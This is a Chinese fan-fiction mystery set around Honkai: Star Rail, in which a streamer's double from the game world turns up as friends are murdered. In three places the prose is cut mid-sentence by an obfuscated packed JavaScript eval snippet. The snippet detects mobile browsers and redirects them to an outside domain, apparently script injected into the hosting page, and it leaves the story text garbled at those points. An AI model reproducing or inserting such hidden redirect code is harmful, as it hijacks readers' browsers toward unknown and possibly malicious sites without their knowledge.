《【崩铁/白厄中心/悬疑向】黎明前的访客》 1. 第 1 章 游戏画面中,卡厄斯兰那冲向权杖核心的身影在激烈疯狂的战斗后逐渐燃尽,最终在星神脸上留下一道伤口后向下坠落,在一片星光中化为年幼的自己,游戏cg到此结束,屏幕上缓缓浮现出END字样。 “总算通关了,昔涟这剧本写的是真狠……那么我们的翁法罗斯之旅到此就告一段落了。”白厄整个人瘫进电竞椅里,长长舒了口气。他揉了揉发红的眼睛,试图驱散心底那份过于沉重、几乎要将他压垮的悲恸。屏幕上,弹幕正飞滚而过。 【完结撒花!】 【这也太刀了小白我的小白——】 【主播哭的好惨桀桀桀】 【昔涟姐太狠了呜呜呜组团寄刀子(1/100)】 【来古士我*****(该弹幕已被屏蔽)】 白厄深吸一口气,打起精神浏览着弹幕:“主播会收集隐藏支线吗?这肯定会收集的,不过我得缓缓,歇几天再刷二周目吧,虽然对游戏里的卡厄斯兰那来说,已经是三千多万周目了……看二创?这个没问题!大家把推荐的欢乐向、治愈向链接私信甩过来,明天直播一起看!先说好啊,只要糖,不要刀!真遭不住了。” 他刻意强调了最后一句,因为游玩过程中那种刻骨铭心的悲伤太过真实,怎么说呢,不像是简单的共情,更像是自己真的经历了卡厄斯兰那三千多万次的轮回,每一次失败、每一次重来,那些不属于他的记忆碎片鲜明地烙印在脑海中,让他的心脏到现在都隐隐作痛。 但是怎么可能呢,只是个游戏而已。白厄甩了甩头,试图将这份荒谬的沉重感甩开。就在这时,几条弹幕引起了他的注意。 【主播门口是不是有声音?】 【好像有敲门声?】 “我听听哦。”白厄疑惑地调小游戏音量,果然听到暴雨声中夹杂着隐约的敲门声。“是有人敲门,都零点了,这鬼天气有谁会来?” 弹幕立刻又热闹起来: 【不会是雨夜杀人魔吧】 【是不是外卖到了?】 【男孩子一个人在家要保护好自己啊!】 “外卖?我没点啊。”白厄又看了眼弹幕,不由失笑,“没事的我可是练过的,一拳一个万敌不成问题——” 话虽如此,白厄还是抄起根棒球棍,才小心翼翼地拧开了门锁。 然后他就看到了自家门前站着一个穿着眼熟铠甲的湿淋淋的男人,和他一模一样的脸上挂着灿烂的笑容。 “晚上好,另一个我。”对方抬手和他打了个招呼,”如你所见天气不太好呢,方便收留自己一段时间吗?” 白厄手里的棒球棍啪嗒一下掉在地上。 “你你你你是谁?” 对方弯腰帮他捡起棒球棍,动作利落地转了个圈:“我是来自翁法罗斯的白厄,也可以叫我卡厄斯兰那,或者卡厄斯都行。” 白厄瞪大眼睛:“等等,你说你来自翁法罗斯?这不可能……” 卡厄斯平静地抬起手,蓝色的光芒凭空出现,构建出一把熟悉的剑——正是陪着白厄在游戏《翁法罗斯》里征战了几天几夜的侵晨。 白厄下意识伸出手摸了摸剑身,冰冰凉凉非常锋利。 卡厄斯手腕一翻,长剑化作光点消散:“现在相信了吗?” 白厄:“你……你等我一下。” 他几乎是扑回电脑前,手忙脚乱地抓起手机,颤抖着手一个视频电话拨给昔涟,还不忘先关了直播:“卧槽你做的游戏成精了!” 昔涟正在边嗦泡面边快乐追番,闻言差点呛到:“啊?啥玩意?” “你看!”白厄转了转镜头,昔涟就看见一个身穿蓝白色铠甲的白厄正带着怀念的微笑看她,“你好啊,昔涟。” 昔涟:“……你什么时候有这么专业的coser兄弟了?喔这铠甲质感真不错,下血本了啊!” 白厄:“不是cosplay!卡厄斯你能不能再表演一遍那个?” 蓝光再次亮起,侵晨无声地浮现在卡厄斯掌心。 昔涟倒吸一口凉气:“嘶这ai特效也太真了。” 白厄快抓狂了:“现在哪有这样的技术啊!” 白厄:“昔涟?” 电话里传来“咚”的一声闷响。白厄凑近屏幕,只看到天花板和一截颤抖的手指:”昔涟?你还好吗?” 过了好几秒,昔涟才虚弱回道:”等我喝口水缓缓……” 卡厄斯好奇地问:“话说回来,你刚才说游戏成精了是什么意思?” 白厄看着面前这张无比熟悉的脸,头发还是湿的,一缕一缕黏在脸侧,又听着外面越来越大的雨声,叹了口气:“说来话长……你要不先进来吧。” ———————————————— 十分钟后,换了一身干爽衣服的卡厄斯捧着热茶坐在沙发上,白厄和他解释道:“我们这边的昔涟是个独立游戏开发者。”白厄指了指手机屏幕,昔涟正抱着水杯,一脸心有余悸地听着,“她……嗯,以我和我们这群朋友为原型,创作了一款叫《翁法罗斯》的中世纪奇幻游戏。” 他尽量简洁地描述了游戏的主线剧情——黄金裔的宿命、三千多万次轮回的挣扎、以及最终的结局。 卡厄斯安静地听着,手指虚拢着温热的杯壁。他的目光低垂,长长的睫毛在眼下投出一小片阴影,让人看不清其中的情绪。 “听上去和我的经历分毫不差,看来你们都知道了……”卡厄斯沉吟片刻,又问他,“我刚攻完权杖核心后,意识就坠入了一片黑暗,醒来就在这里了。既然翁法罗斯在这个世界里是昔涟做的游戏,她有构思过后续剧情吗?” 白厄:“昔涟?昔涟你缓过来了吗?有想过吗?” 昔涟似乎终于从震惊中恢复了几分元气,她苦恼地拖着腮:“后续啊……老实说,我也没想好呢,不过——” 她的语调忽然轻快起来,带着一种不容置疑的坚定,“我相信那一定是个阳光快乐的happyending哦~” 卡厄斯略感意外地看了她一眼。 “我真信了啊,所以续作什么时候提上日程?”白厄忍不住吐槽。 “这个嘛,诶嘿嘿~”昔涟狡黠地眨眨眼。 卡厄斯看着他们的互动,嘴角弯起一个细微的弧度,“对了,你刚才说这个游戏是以你和朋友们为原型,所以……这里也有黄金裔和开拓者吗?” “开拓者他们是游戏里的虚构角色,黄金裔……都是真实存在的朋友。”白厄组织了下语言,“阿格莱雅是知名服装设计师金织女士,赛飞儿给她当模特;缇家三小只现在还在上小学;我和遐蝶跟着那刻夏老师读研,风堇学姐是那刻夏老师的助教。嗯……不过这里的我们都是普通人啦,没有神力,血也不是金色的。” “都是普通人啊……真好。”卡厄斯轻声重复,指尖在杯沿划过,他的语气听不出是感慨还是陈述。 “还有万敌,万敌开了家猫咪咖啡馆,我跟你说猫咖名就叫旋风橙,橙色的橙哈哈哈。” “旋风橙?”卡厄斯眼里染上笑意,“这名字...确实是他会起的。” 昔涟眼睛突然一亮,拍手道:“对了,明天我们和遐蝶风堇约好在万敌的猫咖聚会,你要不要一起来?” 卡厄斯眼中闪过一丝期待:“可以吗?” “当然!”白厄拍拍他的肩,“大家一定会欢迎你的!对吧,昔涟?” “必须的,我这就去群里吼一声,顺便邀请其他朋友!”昔涟兴奋起来,“给你开个盛大的欢迎会!” ———————————————— 旋风橙猫咖门口的风铃叮铃作响,万敌正抱着一只圆滚滚的金渐层,用梳子耐心梳理它蓬松的毛发,闻声抬头看到门口站着的两人,眉头狠狠一跳。 “你俩这审美真是……”万敌看着两人上黄下紫的可怕搭配,“早上看到昔涟在群里发的消息时我还半信半疑,现在相信你们是同位体了。不过——”他话锋一转,“今天大家都会到场,阿格莱雅也会来,你俩打算就这么着?” 卡厄斯笑着摊手:“我们是同一个人,喜好一样很正常啊。” 白厄则脸色瞬间煞白:“不不不,重点是阿格莱雅会来吧!她不是说今天有工作不来了吗!” 万敌慢悠悠地挠着金渐层的下巴微笑:“哦因为卡厄斯的事她非常感兴趣,特意推了今天的安排来的,感动吗?” 卡厄斯:“是人性如此充沛的阿格莱雅啊,真是太感——” “不敢动不敢动!”白厄一把拽住他的胳膊就向外拖:“要是被阿格莱雅看到咱们这样,你可能有事,但我一定没救了。我们现在马上回去换一套!” ———————————————— 当两人再次回到猫咖时,风格已焕然一新——简单的白T恤,黑色休闲裤,清爽干净,完全是两个阳光开朗大学生的模样。 猫猫们喵喵咪咪地从各处涌上来,一些非常熟稔地顺着白厄裤腿就往上爬,转瞬间挂了他全身,另一些谨慎地围着卡厄斯脚边打转,其中一只纯白的短毛猫正用爪子轻轻勾着他的裤脚。 “小白哥哥好久不见——”缇家三小只最先发现他们,缇安活泼地冲过来,和猫猫一起挂到了白厄身上,提宝提宁则乖巧地站在一旁,好奇地打量着卡厄斯,”这位哥哥好~” “白宝来啦,旁边这位就是卡厄斯兰那吧?你好呀。”风堇据猫分人,热情洋溢地和他们打招呼,她正抱着一只布偶猫,笑容温暖。她注意到卡厄斯在看脚边的猫,建议道:“卡宝抱抱看吧,小伊卡——就是勾着你裤脚的这只短毛猫,它很亲人的。” 卡厄斯犹豫一下,还是弯腰把那只猫抱了起来。小伊卡在他怀里蛄蛹几下,找了个舒服的姿势,用小脑袋蹭了蹭他的下巴,发出满足的呼噜声。 “看来它很喜欢你呢~”昔涟坐在靠窗的位置,笑容灿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卡厄斯轻轻抚摸着小伊卡柔软的毛发,小家伙舒服得呼噜声更响了。他抬起眼,目光扫过一张张熟悉又陌生的面孔,最终停留在白厄身上:”直觉吧,我有一种冥冥之中的预感,这里会有我想找的人。” 阿格莱雅轻笑:“真是浪漫的说法呢。” 众人七嘴八舌地讨论起来,猫咖里充满了轻松愉快的谈笑声。缇安试图把一只沉甸甸的橘猫也塞给卡厄斯抱,赛飞儿和阿格莱雅小声争论着什么,万敌则化身端水大师,忙着给几只争风吃醋的猫咪分零食。 风堇的目光却始终带着一丝不易察觉的关切,落在卡厄斯身上。她注意到他虽然面带微笑,回应着大家的问题,眼神深处却有一丝游离,仿佛隔着一层看不见的玻璃,静静地观察着这个世界,带着一种……过于平静的疏离感。 “卡宝……”风堇欲言又止。 卡厄斯闻声看向她:“怎么了?” 风堇斟酌着词句,语气轻柔:“在这里……不用勉强自己一定要微笑的,累了的话,可以放松些。”她指了指那刻夏,“像那刻夏老师那样打瞌睡也没关系哦。” 卡厄斯微微一怔,随即笑容加深了些许:“我心情确实不错啊,为什么这么说?” “虽然我无法想象三千多万次轮回的重量,但那一定是难以言喻的沉重。”她斟酌着话语,“另一个世界也有我们,对吧?某种意义上,我们也算是你的老朋友了,这个世界很安全,也很……平凡,你可以放下一些负担,更自在些,没关系的。” “啊,关于这个……”卡厄斯似乎思考了一下,手指无意识地停顿在小伊卡的背上,“感觉……有点奇怪,当我回忆那些经历时,像是隔着一层厚玻璃在看别人的故事,情绪很淡,很遥远。”他顿了顿,补充道,“这应该也算好事吧……” “这不是好事。”那刻夏突然打断他,“情感上的疏离、共情能力的显著减弱,这些都是创伤后应激障碍的典型症状表现之一。即使你主观上觉得没感觉,也可能是一种心理防御机制在过度运作。” “不是那样的。”卡厄斯面对那刻夏审视的目光,依然温和地笑着摇头,语气轻松,“我是真的没有感觉到太大的情绪波动,我猜,可能和我穿越到这个世界有关,是某种保护性的机制?那刻夏老师放心,如果我觉得哪里不对劲,一定会第一时间寻求帮助。” 那刻夏盯着他看了几秒,最终叹了口气:“你心里有数就好...”话音未落,脑袋又垂了下去。 “让他睡会儿吧。”风堇无奈地拿起旁边一条柔软的毯子,轻轻盖在那刻夏身上。 午后的阳光更加慵懒,将猫咖晕染成一片温暖的金色。咖啡的香气、猫咪的呼噜声、朋友们低低的谈笑声交织在一起,构成一幅宁静美好的画卷。卡厄斯抱着小伊卡,安静地坐在其中,阳光落在他同样安静的眼眸里,仿佛也穿透了那层无形的玻璃,留下一个明亮却略显虚幻的倒影。 2. 第 2 章 “大家好啊!这是今天的特邀嘉宾,我远房表哥!”白厄对着镜头热情介绍坐在旁边的卡厄斯,卡厄斯穿着白厄的休闲服,对着镜头略显生疏但礼貌地笑了笑,挥手打了个招呼:“你们好。” 【表哥也好像白厄本人!天哪双倍的小白awsl】 【表哥别紧张!当自己家!(虽然好像真是自己家)】 【表哥是从哪个星系回来的啊?(狗头)】 【主播快开始!等不及看沙雕二创了!】 【这长相这声线!主播你们真的不是双胞胎?】 “好了好了,别逗他了。”白厄笑着控场,鼠标点开提前准备好的列表,“我们今天来看看二创啊,第一个——《当白厄遇上闭嘴》。” 视频开始播放,剪辑师显然是个鬼才,选取了游戏里白厄最凝重、最悲壮、最肩负使命的镜头——比如在燃烧的城邦废墟前伫立,或是面对强敌时眼神决绝,然而,背景音却是闭嘴机器人那标志性的、抑扬顿的电子音,配着诸如: (画面:白厄在废墟中艰难跋涉)“为什么环保组织呼吁保护白厄?因为他是濒危动物(白鳄)。” (画面:白厄与黑厄对峙)“为什么黑厄瞧不起农村小伙白厄?因为黑厄势利。” “噗——哈哈哈哈!”白厄第一个没绷住,笑得整个人歪倒在椅子上,拍着桌子,“不行了不行了!这什么地狱级冷笑话配你这张世界毁灭由我一人承担的苦大仇深脸……哈哈哈哈!绝了!太绝了!” 卡厄斯也被这反差逗乐了,摇头失笑:“这位闭嘴机器人……很有特色。”他看着弹幕飞过的【闭嘴闭嘴】【救命啊笑到快不行了】【白厄:路过突然就被冻住了,闭嘴你有什么头绪吗】,眼中流露出真实的趣味。 接下来几个二创或沙雕或温馨,两人看得津津有味,不时爆发出笑声,蓝眼睛里漾着纯粹的笑意。 “好了!下一个!”白厄兴致高昂,点开一个被粉丝刷屏推荐的链接,“《燃尽三千万次的黎明》……哦,这个标签是燃向混剪,粉丝说神作,可能有点刀……不管了,放!” 激昂、充满史诗感的BGM瞬间响起,视频将游戏里白厄一次次冲锋、战斗、燃尽、重生的悲壮画面进行高速剪辑。每一次绝望的坠落都化作下一次更决绝的冲锋,每一次燃尽的余烬都点亮下一次破晓的微光。那份跨越了天文数字般轮回的不屈意志,在精妙的剪辑和音乐的烘托下,透过屏幕爆发出震撼人心的力量。当最终画面定格在卡厄斯冲向权杖核心、在星神脸上留下伤痕的瞬间,配合音乐最高潮的爆发,整个直播间都被一种悲壮而热血的情绪点燃。 【燃起来了!!!】 【卡厄斯兰那!永远滴神!】 【三千多万次啊……光是想想这个数字就窒息了……】 【向每一个轮回不屈的灵魂致敬!】 白厄怔怔地看着屏幕,心脏不受控制地剧烈跳动,那股在通关时体验过的、仿佛源自灵魂深处的共鸣感再次汹涌袭来,眼眶微微发热。他下意识看向卡厄斯。 卡厄斯同样专注地看着屏幕,屏幕上闪过的,是他“自己”无数次冲锋、燃尽、重生的悲壮史诗。他的表情很平静,甚至带着一丝……欣赏? 视频结束,激昂的音乐余韵还在直播间回荡。卡厄斯轻轻呼出一口气,点了点头,语气平稳地评价:“剪辑手法很厉害,节奏、画面和音乐的契合度非常高,情绪渲染……确实很有力量。”他顿了顿,补充了一句,声音里听不出太多波澜,“很棒的作品。” 白厄刚想接话,手机铃声突兀地响起,打断了他的话语。是万敌的电话。 “不好意思大家,接个电话。”白厄对镜头和卡厄斯示意了一下,拿起手机走到旁边,“喂万敌?什么事?我们正直播呢,气氛老好了……” 电话那头却是一片令人心头发沉的沉默,只有略显粗重的呼吸声传来。 “万敌?”白厄疑惑地问他,“怎么不说话?信号不好?” “……白厄。”万敌的声音终于响起,声音低哑而沉重,“你……做好心理准备。” 一股冰冷的寒意顺着脊椎爬升,白厄的心跳漏了一拍:“什么事这么严肃?别吓我啊……” “昔涟……”万敌的声音顿了一下,仿佛用尽了全身力气才吐出后面的话,“她死了。” 轰隆——! 窗外适时地响起一声闷雷,惨白的电光撕裂了阴沉的天幕,映得白厄的脸色也一片惨白。手机从他无力的手中滑落,“啪”地一声摔在地上。直播间的麦克风清晰地捕捉到了那声闷雷和手机落地的脆响,欢腾的弹幕瞬间被一片问号覆盖。 【????】 【主播怎么了?手机掉了?】 【卧槽刚才那雷声好吓人!】 【主播?主播说句话啊!发生什么事了?!】 “抱……抱歉!直播暂停!”白厄几乎是吼出来的,声音带着自己都未曾察觉的颤抖。他手忙脚乱地关掉了摄像头和麦克风,屏幕瞬间黑了下去,只留下无数个问号在黑暗的直播界面里疯狂滚动。 卡厄斯已经快步上前,捡起了地上的手机递给他。白厄握着手机的手指关节捏得发白,他急促地喘息着,试图消化这突如其来的噩耗:“昔涟死了?你不是在开玩笑吧?她……在哪里?她家?” “嗯。我已经报警了……白厄,你先别过来,现场……”万敌的声音艰涩无比,似乎在寻找合适的词语。 “我马上到!”白厄打断他,他挂断电话,转头看向卡厄斯,眼神里面充满了巨大的惊骇、茫然和一种濒临崩溃的混乱。 卡厄斯脸上所有的轻松笑意消失殆尽,他眉头紧锁,眼神锐利得如同出鞘的剑锋:“走!” ———————————————— 暴雨倾盆,昔涟家门口已经拉起了刺目的警戒线,万敌和风堇的身影就站在警戒线外,雨水打湿了他们的肩头,背影透着一股难以言喻的悲伤。旁边几名警察正在低声交谈,气氛压抑地令人窒息。 “万敌!”白厄冲过去,声音嘶哑。 万敌转过身,似乎想说什么,但他最终只是沉重地摇了摇头,目光越过白厄,落在紧随其后的卡厄斯身上,眼神复杂,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这刀痕……”卡厄斯冰冷的声音打破了死寂,他不知何时已蹲在了那片刺目的金色边缘,目光死死盯着那道巨大的创口,眼神锐利,带着一种近乎残酷的审视。他伸出食指,极其谨慎地在离那金色液体几厘米远的空中,沿着创口那锐利、平滑、带着独特撕裂感的边缘,虚虚地描摹了一下。 他的声音低沉下去,每一个字都像淬了冰:“就是侵晨造成的,不会错。” 白厄猛地看向他,眼中充满了混乱的惊惧:“侵晨?你的剑?它……” “不,是我的剑,但不是我。”卡厄斯缓缓站起身,转向白厄,他咬牙道:“我有个想法,或许是他……也来到了这里。” “他?”白厄的心提到了嗓子眼,一个模糊而可怕的轮廓在脑海中浮现。 “你也想到了吧,盗火行者……或者说,曾经轮回中,彻底被火种燃烧殆尽、陷入疯狂的我。”卡厄斯的声音带着一种沉重的宿命感,眼神悲伤而锐利,“你知道的,他的理智几乎被焚毁,只剩下对火种无穷无尽的、扭曲的追寻。或许……他误以为这里的黄金裔,也携带着那种他追寻的火种……”他顿了顿,目光扫过那片刺目的金色,声音里压抑着巨大的痛苦和自责,“总之,这是个极度危险的家伙。我很抱歉,白厄,这或许是我带来的危险,我会阻止他,一定。” ———————————————— 3. 第 3 章 昔涟的葬礼在一片悲伤中结束。昔涟的父母哭得几近昏厥,被亲友搀扶着离开。黄金裔们穿着肃穆的黑衣,沉默地站在墓园一角,像一群被抽走了灵魂的黑色剪影。悲伤、愤怒、恐惧如同无形的藤蔓缠绕着每一个人。 卡厄斯全程异常沉默。他站在人群稍远的位置,眉头紧锁,目光低垂,像是在默哀,又像是在专注地思考着什么,隔绝了外界所有的喧嚣和哭泣。那份沉默,在悲伤的氛围下,显得格外坚硬而格格不入。 几天后,白厄在学校的图书馆自习区遇到了风堇。她独自一人坐在靠窗的位置,面前摊开着几本厚重的心理学文献《创伤后应激障碍:病理与干预》、《极端压力下的心理适应》、《情感解离的神经机制》。午后的阳光透过窗户落在她身上,却驱不散她眉眼间的疲惫和红肿。显然,她还未从昔涟骤然离世的打击中恢复过来。 但风堇的眼神深处,除了悲伤,还多了一种研究者的专注,以及一丝无法忽视的疑虑。她的指尖无意识地捻着书页的一角,那专注中带着一种抽丝剥茧般的锐利。 “风堇?”白厄在她对面轻轻坐下,声音带着连日的沙哑和疲惫。 风堇像是被从深水中惊醒,猛地抬起头。看到是白厄,她勉强扯出一个苍白的笑容,试图驱散脸上的凝重:“白宝……找我有事吗?” “我……”白厄搓了把脸,声音闷闷的,“我有点担心卡厄斯。昔涟的事……对他打击好像也很大,但他什么都不说,只是把自己关在房间里……或者出去,也不知道去了哪里。”他想起卡厄斯那异常沉默的葬礼和之后行踪不定的状态,心头的不安感再次弥漫开来。 风堇放下手中的书,厚重的文献落在桌面上发出轻微的“咚”一声。她没有像往常那样安慰白厄,而是身体微微前倾,双手交叠放在桌上,看着白厄的眼睛,那目光不再是平时的温柔关切,而是带着一种近乎专业性的冷静和穿透力,仿佛要将所有表象剥离。 “白厄,”风堇的声音很轻,却异常清晰,“抛开另一个世界的你这个身份……你对卡厄斯这个人,或者说,他对自身经历的反应模式,了解多少?” 白厄一愣,被这突如其来的专业口吻问住了:“了……了解?他就是卡厄斯啊,经历了那些轮回……” “对,三千三百五十五万零三百三十七次轮回。”风堇精准地报出了那个令人窒息的数字,“每一次轮回都承载着拯救的使命、必然的失败、伙伴的牺牲、自身的毁灭……白厄,你知道这种级别的、重复性的、不可逃脱的终极创伤意味着什么吗?” 她不等白厄回答,指尖轻轻敲击着桌面,语速飞快:“它意味着最高级别的C-PTSD——复杂性创伤后应激障碍,其核心症状之一,就是情感麻木和解离。” 她的目光锐利,紧紧锁住白厄:“在猫咖那天,他亲口说,回忆那些经历像隔了层毛玻璃在看别人的故事,没什么感觉。那刻夏老师当场就指出这是创伤应激的典型表现,卡厄斯否认了,将其归因于穿越世界的保护机制。但是,白厄——” 风堇的声音压得更低,语速加得更快,逻辑链条环环相扣,带着强烈的压迫感,“情感麻木和解离不是开关,不是他想关闭就能关闭的防御机制。它是一种深刻烙印在神经通路和心理结构上的创伤反应模式,会持续影响受害者对后续所有刺激的感知和反应。那么,面对昔涟的死——如此突然、如此惨烈、如此具有冲击性的死亡——一个饱受轮回创伤、本应存在严重情感麻木和解离倾向的人,他的反应应该是什么?” 她直视着白厄困惑的眼睛,自问自答: “他可能出现延迟反应,表现出一种近乎诡异的平静,仿佛事件尚未被真正接收。” “他可能无法理解或表达强烈的悲伤,因为情感系统已被创伤钝化。” “他可能陷入闪回或更深的解离状态,昔涟的死瞬间触发了轮回中无数次目睹同伴死亡的记忆碎片,将他拉回地狱。” “他甚至可能因为创伤的叠加而出现短暂的崩溃或木僵,完全失去行动能力。” 风堇顿了顿,眼神变得更加锐利:“但是,白厄,你告诉我,他的反应是什么?” 白厄下意识地回忆:“他……很愤怒,非常愤怒,跟我一样愤怒难过,立刻就说要阻止盗火行者……” “真是精准的愤怒,对吧。”风堇打断他,指尖的敲击声加重了几分,“这目标导向太精准了,愤怒是有的,难过似乎也是有的,但这份情绪来得如此迅速、如此纯粹,它像被设定好的程序:识别威胁、启动愤怒情绪、锁定复仇目标。这完全符合逻辑,高效得可怕,完全符合一个应对危机的剧本!” 她身体前倾,目光直视白厄:“但这恰恰是最不合理的地方!一个真正被三千多万次死亡轮回折磨、情感系统严重受损的人,面对挚友的惨死,他的第一反应绝不应该是如此干净利落的愤怒,他应该被更原始、更混乱的情绪淹没!震惊带来的空白、无法理解的茫然、被巨大悲伤瞬间击垮的失重感、甚至是因创伤触发的麻木性回避……这些才是一个深度PTSD患者在遭遇近在咫尺的惨剧时,更可能出现的、属于人的、非理性的撕裂感!” 风堇深吸一口气,总结道:“卡厄斯的反应,太正确了。他完美地演绎了一个应该愤怒和复仇的角色,却恰恰暴露了他缺失了那份源于真实血肉、被漫长创伤扭曲过的灵魂在面对终极失去时,应有的、混乱而痛苦的挣扎。这不像一个被创伤重创的人,更像……一个在精密执行预设指令的程序。简单来说,他的悲伤和愤怒,表演痕迹太重了,缺乏创伤者应有的杂质。” 白厄被风堇这番深度剖析彻底钉在了原地,一股冰冷的寒意如同冰水般瞬间浇透了他的全身,“风堇,你……你是说……” “我没有确凿证据,白厄。”风堇语气带着一种洞悉危险却无法阻止的无力感,“这只是基于我的观察、专业知识和一种极其糟糕的直觉。但卡厄斯在面对昔涟死亡时的高效情绪反应,与他自述的、理应存在的深层创伤状态之间,存在着无法解释的矛盾,这个矛盾……让我非常不安。” 她顿了顿,补充道:“而且,那刻夏老师……他似乎也察觉到了什么异常。昔涟出事后,他把自己关在实验室里,几乎不眠不休,像是在疯狂地寻找什么东西……或者说,在验证某个可怕的猜想。” 就在这时,白厄放在桌面上的手机屏幕毫无征兆地亮了起来,发出一下短促而尖锐的震动,是一条新信息。 发信人:那刻夏。 [速来主楼顶层实验室。] 一股强烈的不祥预感瞬间攥紧了白厄的心脏。昔涟的诡异死亡、卡厄斯的异常、风堇的指控、再到那刻夏突如其来的短信—— “风堇!那刻夏老师他……”白厄猛地抓起手机,声音都变了调。 风堇也看到了那条信息,脸色瞬间煞白:“快走!” 两人几乎是同时从椅子上弹了起来,带倒了椅子也顾不上扶。白厄拔腿就往外冲,风堇紧随其后。冰冷的恐惧如同实质的潮水般涌来,几乎要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177364|180779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将他们淹没。 刚冲进实验楼,白厄的手机再次震动了一下,他一边狂奔一边颤抖着手点开屏幕,心脏狂跳得几乎要冲破胸膛。 还是那刻夏发来的信息,屏幕上只有一行字: [其血同源,其行非我,其名] 信息戛然而止,最后一个字后面甚至没有标点,仿佛在极度危险中仓促发出的。 风堇咬牙:“其血同源,其行非我……果然,他就是……” 白厄颤抖着手立刻回拨那刻夏的电话,听筒里只有冰冷机械的女声不断重复着:“您拨打的用户无人接听……” 他又飞快地发了几条信息过去: [老师?你还好吗?] [发生什么事了?我们马上到!坚持住!] 所有的信息都如同石沉大海,再无半点回音。那份不祥的预感已经浓稠得化不开,变成了几乎令人窒息的绝望。 “快!楼梯间在这边,实验室就在最里面!”风堇的声音带着喘,他们冲进楼梯间,白厄的手指颤抖着,几乎是跌撞着向上攀爬,每一级台阶都像一个世纪般漫长。狭窄的空间里只剩下两人粗重而压抑的喘息声,风堇紧紧抓着白厄的手臂,指甲几乎要嵌进他的肉里。 他们终于冲上目标楼层,推开沉重的防火门。 走廊深处一片死寂,紧闭的实验室大门如同沉默的巨兽,投下浓重的阴影。空气中弥漫着一丝若有若无的金属气味,应急灯发出微弱的光线,勉强勾勒出空荡走廊的轮廓,更深处则完全隐没在浓得化不开的黑暗里。 “那刻夏老师!”白厄压低声音呼喊,声音在空旷寂静的走廊里显得格外突兀。 无人回应,只有死一般的沉寂。 他们像两只受惊的兔子,屏住呼吸,放轻脚步,朝着走廊尽头的实验室大门摸索过去。浓重的血腥味开始若有若无地飘散在空气中,越来越清晰,越来越刺鼻。 白厄推开虚掩的实验室大门,微弱的灯光终于勉强照亮了前方一小块区域。 他的脚步,连同他的呼吸、他的心跳,都在那一瞬间彻底冻结了。 那刻夏靠坐在两个大型实验仪器冰冷的夹角里,头无力地垂着。他身上被大片刺目的金色液体浸透,一道与昔涟胸前如出一辙的、狰狞的巨大创口贯穿了他的胸膛,甚至……他拿着手机的右手,从手肘处被齐根斩断,断手就落在离身体不远的地上,僵硬的指关节还维持着一种想要抓住什么的姿势。 而就在那刻夏身前一步之遥,一个人影静静地站着。 是卡厄斯。 他背对着白厄和风堇来的方向,微微低着头。他手中正握着那把染满金色的长剑——侵晨。剑尖垂向地面,粘稠的、闪烁着诡异光泽的金血,正沿着那锋利的剑刃,一滴、一滴……缓慢而沉重地滴落,在实验室光滑冰冷的瓷砖地面积聚起一小滩刺目的金色水洼。 卡厄斯的侧脸上沾着几道飞溅上去的金色血痕,他白色的T恤前襟和袖口,也被大片染成了那种冰冷诡异的金色。 听到背后传来的无法抑制的抽气声,卡厄斯平静地转过了身,那双与白厄一模一样的蓝色眼睛,在惨白的灯光下,清晰地映出了白厄和风堇惨无人色的脸。 他的目光扫过浑身颤抖、几乎站立不稳的白厄,又掠过眼中充满巨大惊骇和难以置信的风堇,嘴角似乎极其细微地向上牵动了一下。 一个毫无温度、平静得令人毛骨悚然的声音,在死寂的实验室里清晰地响起: “啊,被发现了。” 4. 第 4 章 实验室里一片寂静,只有翻动书页的沙沙声和指尖无意识敲击桌面的笃笃声。那刻夏深陷在一堆打印出的《翁法罗斯》相关资料和写满复杂公式的草稿中,他眉头紧锁,目光锐利地扫过手中的分析报告。 “翁法罗斯……”那刻夏近乎无声地低语,手指快速划过纸面,上面画着一个骰子样的,两端环绕着蓝色尖刺与正方形的环的物体。“……数据海啸防护……内外桥梁……差不多了,得通知白厄。” 那刻夏眼中没有发现真相的喜悦,只有冰冷的确认和深重的忧虑,他迅速抓起桌面的手机,给白厄发了一条简短的信息:[速来主楼顶层实验室。] “那刻夏老师?你在研究什么呢?”一个平静的声音毫无预兆地从实验室门口的方向传来。 那刻夏猛地抬头,入口处的阴影里,白发的青年正倚靠着门框,姿态随意。他穿着件干净的白色T恤,双手插在裤兜里,脸上带着一丝若有若无的微笑,蓝色的眼睛在昏暗的光线下一眨不眨注视着那刻夏。 一股冰凉的寒意瞬间爬上了那刻夏的脊背。 他强行压下悚然的情绪,脸上扯出一个惯常的带着点不耐烦的神情:“不要叫我那刻夏!算了,白厄,你来得正好。” 他一边极其自然、迅速地摸向桌面的手机,一边语速极快地抛出话题,试图吸引对方注意力:“我正想找人讨论一下非线性动力系统中的混沌边缘行为,尤其是高维认知模型在极端压力下的相变临界点……” 卡厄斯没有动,依然倚在门框上,饶有兴致地点点头,目光似乎不经意地扫过那刻夏放在桌面的手:“哦?听起来很有意思,那刻夏老师有什么高见?” “其关键在于——”那刻夏摸到手机就立刻往侧面一扑,几乎在同一瞬间,卡厄斯动了,他身形如同鬼魅般瞬间拉近距离,一道冰冷的剑光撕裂空气,精准地刺向那刻夏刚才心脏的位置。 